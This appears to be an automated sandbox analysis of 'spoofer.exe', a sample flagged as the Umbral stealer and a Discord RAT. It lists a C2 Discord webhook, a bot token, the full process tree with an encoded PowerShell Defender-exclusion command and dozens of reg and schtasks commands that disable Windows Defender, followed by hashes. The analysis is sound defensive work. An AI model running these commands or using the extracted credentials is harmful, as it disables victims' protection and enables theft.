Analysis

  • max time kernel
    130s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/01/2024, 22:21

General

  • Target
    spoofer.exe
  • Size 442KB
  • Sample240119-19t2vaefcq
  • SHA256 5cac485680e36e9e3cea0867d1373edff3a8995a20d21a2b7aa38247a0a3eb1d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • umbral

C2
  • https://ptb.discord.com/api/webhooks/1197286741825048616/mPoY62Pti_IE-hGcDYD9Kd5GhKzKQHzuySPby-xlg9GCRDWrviTGJ9au_QMU1pKDVh50

Extracted

Family
  • discordrat

Attributes
  • discord_token

    MTE5MzczNzA3MzIzNzE4MDQyNg.GQDWc0.k4Yc3XgNEdmji15f8P6ui2A0sVB2zvpOmkNPlw

  • server_id

    1196510448573489273

Signatures

  • Detect Umbral payload 2 IoCs
  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\spoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\spoofer.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAcQB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAZgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAawBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAdQB1ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4908
    • C:\Windows\cleaner.exe
      "C:\Windows\cleaner.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2648
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\466F.tmp\4670.tmp\4671.bat C:\Windows\cleaner.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5044
        • C:\Windows\system32\reg.exe
          reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
          4⤵
            PID:2304
          • C:\Windows\system32\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
            4⤵
              PID:720
            • C:\Windows\system32\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
              4⤵
                PID:2848
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
                4⤵
                  PID:408
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                  4⤵
                  • Modifies Windows Defender Real-time Protection settings
                  PID:2624
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                  4⤵
                    PID:1184
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:544
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:904
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:3860
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:1660
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                    4⤵
                      PID:3136
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                      4⤵
                        PID:4944
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                        4⤵
                          PID:2776
                        • C:\Windows\system32\schtasks.exe
                          schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                          4⤵
                            PID:380
                          • C:\Windows\system32\schtasks.exe
                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                            4⤵
                              PID:3432
                            • C:\Windows\system32\schtasks.exe
                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                              4⤵
                                PID:4000
                              • C:\Windows\system32\schtasks.exe
                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                4⤵
                                  PID:4132
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                  4⤵
                                    PID:4796
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                    4⤵
                                      PID:864
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                      4⤵
                                        PID:4732
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                        4⤵
                                          PID:3160
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                          4⤵
                                            PID:3840
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                            4⤵
                                              PID:3412
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                              4⤵
                                                PID:3580
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                4⤵
                                                • Modifies security service
                                                PID:3544
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                4⤵
                                                  PID:2096
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                  4⤵
                                                    PID:2168
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                    4⤵
                                                      PID:4176
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                      4⤵
                                                        PID:4940
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                        4⤵
                                                          PID:3600
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          4⤵
                                                            PID:4632
                                                      • C:\Windows\Spoofer.exe
                                                        "C:\Windows\Spoofer.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4784
                                                      • C:\Windows\Woofer.exe
                                                        "C:\Windows\Woofer.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:4448
                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                          "wmic.exe" csproduct get uuid
                                                          3⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2620
                                                    • C:\Windows\System32\sihclient.exe
                                                      C:\Windows\System32\sihclient.exe /cv ynVRKuLpTUmmVNuyUEi97w.0.2
                                                      1⤵
                                                        PID:3412

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

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                                                            Downloads

                                                            4671.bat

                                                            • Path C:\Users\Admin\AppData\Local\Temp\466F.tmp\4670.tmp\4671.bat
                                                            • Size 3KB
                                                            • SHA256 111ac48198ba45919584668ed9ad15010d316de7f1665f4d42ec249259f696bc
                                                            • MD5 SHA1 SHA512

                                                            __PSScriptPolicyTest_wz2ko5ns.yar.ps1

                                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wz2ko5ns.yar.ps1
                                                            • Size 60B
                                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                            • MD5 SHA1 SHA512

                                                            Spoofer.exe

                                                            • Path C:\Windows\Spoofer.exe
                                                            • Size 78KB
                                                            • SHA256 3dbf21a8a065a297e0d16148f3931315e4e25e1872eed4fd9a256191571a223d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            Woofer.exe

                                                            • Path C:\Windows\Woofer.exe
                                                            • Size 231KB
                                                            • SHA256 59f283a7f4a7d50e13c963bb2ae0b3ebd0433bb73f2d582b2c9dd0e7564bce0d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            cleaner.exe

                                                            • Path C:\Windows\cleaner.exe
                                                            • Size 127KB
                                                            • SHA256 cea237087535cd1e6ed4c1fd199e9b297a2720eeac41eadd1976d2efda7bf9cf
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            memory/4448-64-0x00007FFFFB1F0000-0x00007FFFFBCB1000-memory.dmp

                                                            memory/4448-39-0x00007FFFFB1F0000-0x00007FFFFBCB1000-memory.dmp

                                                            memory/4448-40-0x000001F5285A0000-0x000001F5285B0000-memory.dmp

                                                            memory/4448-35-0x000001F50DD20000-0x000001F50DD60000-memory.dmp

                                                            memory/4784-37-0x00007FFFFB1F0000-0x00007FFFFBCB1000-memory.dmp

                                                            memory/4784-93-0x0000021BD8950000-0x0000021BD8960000-memory.dmp

                                                            memory/4784-42-0x0000021BD8950000-0x0000021BD8960000-memory.dmp

                                                            memory/4784-92-0x00007FFFFB1F0000-0x00007FFFFBCB1000-memory.dmp

                                                            memory/4784-34-0x0000021BBE440000-0x0000021BBE458000-memory.dmp

                                                            memory/4784-60-0x0000021BD9370000-0x0000021BD9898000-memory.dmp

                                                            memory/4784-36-0x0000021BD8A30000-0x0000021BD8BF2000-memory.dmp

                                                            memory/4908-59-0x0000000006020000-0x0000000006374000-memory.dmp

                                                            memory/4908-79-0x00000000074D0000-0x0000000007573000-memory.dmp

                                                            memory/4908-46-0x0000000005D40000-0x0000000005D62000-memory.dmp

                                                            memory/4908-54-0x0000000005EB0000-0x0000000005F16000-memory.dmp

                                                            memory/4908-47-0x0000000002E20000-0x0000000002E30000-memory.dmp

                                                            memory/4908-44-0x0000000073F10000-0x00000000746C0000-memory.dmp

                                                            memory/4908-62-0x0000000006590000-0x00000000065DC000-memory.dmp

                                                            memory/4908-61-0x00000000064D0000-0x00000000064EE000-memory.dmp

                                                            memory/4908-41-0x0000000005590000-0x0000000005BB8000-memory.dmp

                                                            memory/4908-65-0x000000007F890000-0x000000007F8A0000-memory.dmp

                                                            memory/4908-66-0x0000000006AA0000-0x0000000006AD2000-memory.dmp

                                                            memory/4908-78-0x0000000002E20000-0x0000000002E30000-memory.dmp

                                                            memory/4908-77-0x0000000006A80000-0x0000000006A9E000-memory.dmp

                                                            memory/4908-48-0x0000000005E40000-0x0000000005EA6000-memory.dmp

                                                            memory/4908-67-0x0000000075500000-0x000000007554C000-memory.dmp

                                                            memory/4908-81-0x0000000007810000-0x000000000782A000-memory.dmp

                                                            memory/4908-82-0x0000000007880000-0x000000000788A000-memory.dmp

                                                            memory/4908-80-0x0000000007E50000-0x00000000084CA000-memory.dmp

                                                            memory/4908-83-0x0000000007AA0000-0x0000000007B36000-memory.dmp

                                                            memory/4908-84-0x0000000007A10000-0x0000000007A21000-memory.dmp

                                                            memory/4908-85-0x0000000007A50000-0x0000000007A5E000-memory.dmp

                                                            memory/4908-86-0x0000000007A60000-0x0000000007A74000-memory.dmp

                                                            memory/4908-87-0x0000000007B40000-0x0000000007B5A000-memory.dmp

                                                            memory/4908-88-0x0000000007A90000-0x0000000007A98000-memory.dmp

                                                            memory/4908-91-0x0000000073F10000-0x00000000746C0000-memory.dmp

                                                            memory/4908-43-0x0000000002E20000-0x0000000002E30000-memory.dmp

                                                            memory/4908-38-0x0000000004F20000-0x0000000004F56000-memory.dmp